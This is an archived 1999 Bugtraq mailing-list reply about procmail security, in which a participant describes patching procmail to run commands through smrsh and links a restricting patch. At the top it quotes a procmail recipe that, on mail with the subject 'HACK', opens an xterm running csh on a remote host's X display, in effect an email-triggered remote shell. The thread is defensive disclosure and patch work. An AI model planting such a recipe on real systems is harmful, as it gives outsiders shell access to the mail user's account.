Bugtraq mailing list archives

Re: More procmail


From: lindsey () MALLORN COM (Christopher P. Lindsey)
Date: Wed, 7 Apr 1999 12:51:20 -0500


:0
* ^Subject: HACK
| setenv DISPLAY beida:0;/usr/openwin/bin/xterm -e /bin/csh

   I have patched my procmail to deal with this by forcing it to use
smrsh.  In doing so, I also discovered the procmail calls sendmail
explicitly at some point in it's operation (didn't take the time to figure
out where it does it).  This might also be of concern, but it wasn't
immediately obvious to me how this might be exploited.

Exactly, and I've been debating this with Philip for quite some time
now.  I'm not saying that either one of us is right, but this type
of problem is particularly worrisome in our environment at NCSA.

I also wrote a patch about a year ago (or maybe it's the one that you
used) against 3.11pre7, available at

   http://mirror.ncsa.uiuc.edu/procmail/patches/smrsh-like.patch

I'll be writing one for 3.13.x and adding the same functionality to
formail when I have the time.

Chris



Current thread: